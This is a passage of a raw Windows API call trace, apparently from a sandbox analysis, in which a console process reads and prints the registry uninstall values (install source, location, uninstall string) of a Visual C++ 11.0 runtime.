returned 0x7fefd702a80 [0150.569] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.569] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.569] _fileno (_File=0x7fefd702ab0) returned 1 [0150.569] _errno () returned 0x204bb0 [0150.569] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.569] _errno () returned 0x204bb0 [0150.569] GetFileType (hFile=0x50) returned 0x1 [0150.569] lstrlenW (lpString=" ") returned 4 [0150.569] GetConsoleOutputCP () returned 0x1b5 [0150.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.569] GetConsoleOutputCP () returned 0x1b5 [0150.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.569] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.569] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.570] lstrlenW (lpString="InstallLocation") returned 15 [0150.570] __iob_func () returned 0x7fefd702a80 [0150.570] _fileno (_File=0x7fefd702ab0) returned 1 [0150.570] _errno () returned 0x204bb0 [0150.570] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.570] _errno () returned 0x204bb0 [0150.570] GetFileType (hFile=0x50) returned 0x1 [0150.570] lstrlenW (lpString="InstallLocation") returned 15 [0150.570] GetConsoleOutputCP () returned 0x1b5 [0150.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.570] GetConsoleOutputCP () returned 0x1b5 [0150.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0150.570] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.570] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.570] __iob_func () returned 0x7fefd702a80 [0150.570] _fileno (_File=0x7fefd702ab0) returned 1 [0150.570] _errno () returned 0x204bb0 [0150.570] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.570] _errno () returned 0x204bb0 [0150.570] GetFileType (hFile=0x50) returned 0x1 [0150.570] lstrlenW (lpString=" ") returned 4 [0150.570] GetConsoleOutputCP () returned 0x1b5 [0150.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.570] GetConsoleOutputCP () returned 0x1b5 [0150.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.571] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.571] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.571] __iob_func () returned 0x7fefd702a80 [0150.571] _fileno (_File=0x7fefd702ab0) returned 1 [0150.571] _errno () returned 0x204bb0 [0150.571] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.571] _errno () returned 0x204bb0 [0150.571] GetFileType (hFile=0x50) returned 0x1 [0150.571] lstrlenW (lpString="REG_SZ") returned 6 [0150.571] GetConsoleOutputCP () returned 0x1b5 [0150.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.571] GetConsoleOutputCP () returned 0x1b5 [0150.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.571] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.571] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.571] __iob_func () returned 0x7fefd702a80 [0150.571] _fileno (_File=0x7fefd702ab0) returned 1 [0150.571] _errno () returned 0x204bb0 [0150.571] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.571] _errno () returned 0x204bb0 [0150.571] GetFileType (hFile=0x50) returned 0x1 [0150.571] lstrlenW (lpString=" ") returned 4 [0150.571] GetConsoleOutputCP () returned 0x1b5 [0150.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.572] GetConsoleOutputCP () returned 0x1b5 [0150.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.572] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.572] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.572] __iob_func () returned 0x7fefd702a80 [0150.572] _fileno (_File=0x7fefd702ab0) returned 1 [0150.572] _errno () returned 0x204bb0 [0150.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.572] _errno () returned 0x204bb0 [0150.572] GetFileType (hFile=0x50) returned 0x1 [0150.572] lstrlenW (lpString="") returned 0 [0150.572] __iob_func () returned 0x7fefd702a80 [0150.572] _fileno (_File=0x7fefd702ab0) returned 1 [0150.572] _errno () returned 0x204bb0 [0150.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.572] _errno () returned 0x204bb0 [0150.572] GetFileType (hFile=0x50) returned 0x1 [0150.572] lstrlenW (lpString="\n") returned 1 [0150.572] GetConsoleOutputCP () returned 0x1b5 [0150.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.572] GetConsoleOutputCP () returned 0x1b5 [0150.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.573] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.573] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.573] GetProcessHeap () returned 0x3c0000 [0150.573] GetProcessHeap () returned 0x3c0000 [0150.573] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.573] GetProcessHeap () returned 0x3c0000 [0150.573] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.573] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.573] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.573] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xde) returned 0x0 [0150.573] GetProcessHeap () returned 0x3c0000 [0150.573] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe0) returned 0x3dce90 [0150.573] GetProcessHeap () returned 0x3c0000 [0150.573] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0150.573] GetProcessHeap () returned 0x3c0000 [0150.573] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe0 [0150.573] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dce90, pcbData=0x29f780*=0xde | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\", pcbData=0x29f780*=0xdc) returned 0x0 [0150.573] __iob_func () returned 0x7fefd702a80 [0150.573] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.573] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.573] _fileno (_File=0x7fefd702ab0) returned 1 [0150.573] _errno () returned 0x204bb0 [0150.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.573] _errno () returned 0x204bb0 [0150.573] GetFileType (hFile=0x50) returned 0x1 [0150.573] lstrlenW (lpString=" ") returned 4 [0150.573] GetConsoleOutputCP () returned 0x1b5 [0150.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.574] GetConsoleOutputCP () returned 0x1b5 [0150.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.574] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.574] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.574] lstrlenW (lpString="InstallSource") returned 13 [0150.574] __iob_func () returned 0x7fefd702a80 [0150.574] _fileno (_File=0x7fefd702ab0) returned 1 [0150.574] _errno () returned 0x204bb0 [0150.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.574] _errno () returned 0x204bb0 [0150.574] GetFileType (hFile=0x50) returned 0x1 [0150.574] lstrlenW (lpString="InstallSource") returned 13 [0150.574] GetConsoleOutputCP () returned 0x1b5 [0150.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.574] GetConsoleOutputCP () returned 0x1b5 [0150.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0150.574] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.574] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.574] __iob_func () returned 0x7fefd702a80 [0150.574] _fileno (_File=0x7fefd702ab0) returned 1 [0150.574] _errno () returned 0x204bb0 [0150.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.574] _errno () returned 0x204bb0 [0150.574] GetFileType (hFile=0x50) returned 0x1 [0150.575] lstrlenW (lpString=" ") returned 4 [0150.575] GetConsoleOutputCP () returned 0x1b5 [0150.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.575] GetConsoleOutputCP () returned 0x1b5 [0150.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.575] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.575] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.575] __iob_func () returned 0x7fefd702a80 [0150.575] _fileno (_File=0x7fefd702ab0) returned 1 [0150.575] _errno () returned 0x204bb0 [0150.575] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.575] _errno () returned 0x204bb0 [0150.575] GetFileType (hFile=0x50) returned 0x1 [0150.575] lstrlenW (lpString="REG_SZ") returned 6 [0150.575] GetConsoleOutputCP () returned 0x1b5 [0150.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.575] GetConsoleOutputCP () returned 0x1b5 [0150.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.575] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.575] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.576] __iob_func () returned 0x7fefd702a80 [0150.576] _fileno (_File=0x7fefd702ab0) returned 1 [0150.576] _errno () returned 0x204bb0 [0150.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.576] _errno () returned 0x204bb0 [0150.576] GetFileType (hFile=0x50) returned 0x1 [0150.576] lstrlenW (lpString=" ") returned 4 [0150.576] GetConsoleOutputCP () returned 0x1b5 [0150.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.576] GetConsoleOutputCP () returned 0x1b5 [0150.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.576] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.576] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.576] __iob_func () returned 0x7fefd702a80 [0150.576] _fileno (_File=0x7fefd702ab0) returned 1 [0150.576] _errno () returned 0x204bb0 [0150.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.576] _errno () returned 0x204bb0 [0150.576] GetFileType (hFile=0x50) returned 0x1 [0150.576] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned 109 [0150.576] GetConsoleOutputCP () returned 0x1b5 [0150.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\", cchWideChar=109, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 109 [0150.576] GetConsoleOutputCP () returned 0x1b5 [0150.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\", cchWideChar=109, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\", lpUsedDefaultChar=0x0) returned 109 [0150.577] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 109 [0150.577] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.577] __iob_func () returned 0x7fefd702a80 [0150.577] _fileno (_File=0x7fefd702ab0) returned 1 [0150.577] _errno () returned 0x204bb0 [0150.577] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.577] _errno () returned 0x204bb0 [0150.577] GetFileType (hFile=0x50) returned 0x1 [0150.577] lstrlenW (lpString="\n") returned 1 [0150.577] GetConsoleOutputCP () returned 0x1b5 [0150.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.577] GetConsoleOutputCP () returned 0x1b5 [0150.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.577] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.577] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.577] GetProcessHeap () returned 0x3c0000 [0150.577] GetProcessHeap () returned 0x3c0000 [0150.577] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0150.577] GetProcessHeap () returned 0x3c0000 [0150.577] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe0 [0150.577] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0150.577] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.578] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.578] GetProcessHeap () returned 0x3c0000 [0150.578] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.578] GetProcessHeap () returned 0x3c0000 [0150.578] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.578] GetProcessHeap () returned 0x3c0000 [0150.578] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.578] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.578] __iob_func () returned 0x7fefd702a80 [0150.578] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.578] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.578] _fileno (_File=0x7fefd702ab0) returned 1 [0150.578] _errno () returned 0x204bb0 [0150.578] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.578] _errno () returned 0x204bb0 [0150.578] GetFileType (hFile=0x50) returned 0x1 [0150.578] lstrlenW (lpString=" ") returned 4 [0150.578] GetConsoleOutputCP () returned 0x1b5 [0150.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.578] GetConsoleOutputCP () returned 0x1b5 [0150.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.578] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.578] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.579] lstrlenW (lpString="ModifyPath") returned 10 [0150.579] __iob_func () returned 0x7fefd702a80 [0150.579] _fileno (_File=0x7fefd702ab0) returned 1 [0150.579] _errno () returned 0x204bb0 [0150.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.579] _errno () returned 0x204bb0 [0150.579] GetFileType (hFile=0x50) returned 0x1 [0150.579] lstrlenW (lpString="ModifyPath") returned 10 [0150.579] GetConsoleOutputCP () returned 0x1b5 [0150.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.579] GetConsoleOutputCP () returned 0x1b5 [0150.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.579] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.579] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.579] __iob_func () returned 0x7fefd702a80 [0150.579] _fileno (_File=0x7fefd702ab0) returned 1 [0150.579] _errno () returned 0x204bb0 [0150.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.579] _errno () returned 0x204bb0 [0150.579] GetFileType (hFile=0x50) returned 0x1 [0150.579] lstrlenW (lpString=" ") returned 4 [0150.579] GetConsoleOutputCP () returned 0x1b5 [0150.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.580] GetConsoleOutputCP () returned 0x1b5 [0150.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.580] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.580] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.580] __iob_func () returned 0x7fefd702a80 [0150.580] _fileno (_File=0x7fefd702ab0) returned 1 [0150.580] _errno () returned 0x204bb0 [0150.580] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.580] _errno () returned 0x204bb0 [0150.580] GetFileType (hFile=0x50) returned 0x1 [0150.580] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.580] GetConsoleOutputCP () returned 0x1b5 [0150.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.580] GetConsoleOutputCP () returned 0x1b5 [0150.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.580] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.580] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.580] __iob_func () returned 0x7fefd702a80 [0150.580] _fileno (_File=0x7fefd702ab0) returned 1 [0150.581] _errno () returned 0x204bb0 [0150.581] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.581] _errno () returned 0x204bb0 [0150.581] GetFileType (hFile=0x50) returned 0x1 [0150.581] lstrlenW (lpString=" ") returned 4 [0150.581] GetConsoleOutputCP () returned 0x1b5 [0150.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.581] GetConsoleOutputCP () returned 0x1b5 [0150.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.581] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.581] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.581] __iob_func () returned 0x7fefd702a80 [0150.581] _fileno (_File=0x7fefd702ab0) returned 1 [0150.581] _errno () returned 0x204bb0 [0150.581] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.581] _errno () returned 0x204bb0 [0150.581] GetFileType (hFile=0x50) returned 0x1 [0150.581] lstrlenW (lpString="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 52 [0150.581] GetConsoleOutputCP () returned 0x1b5 [0150.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 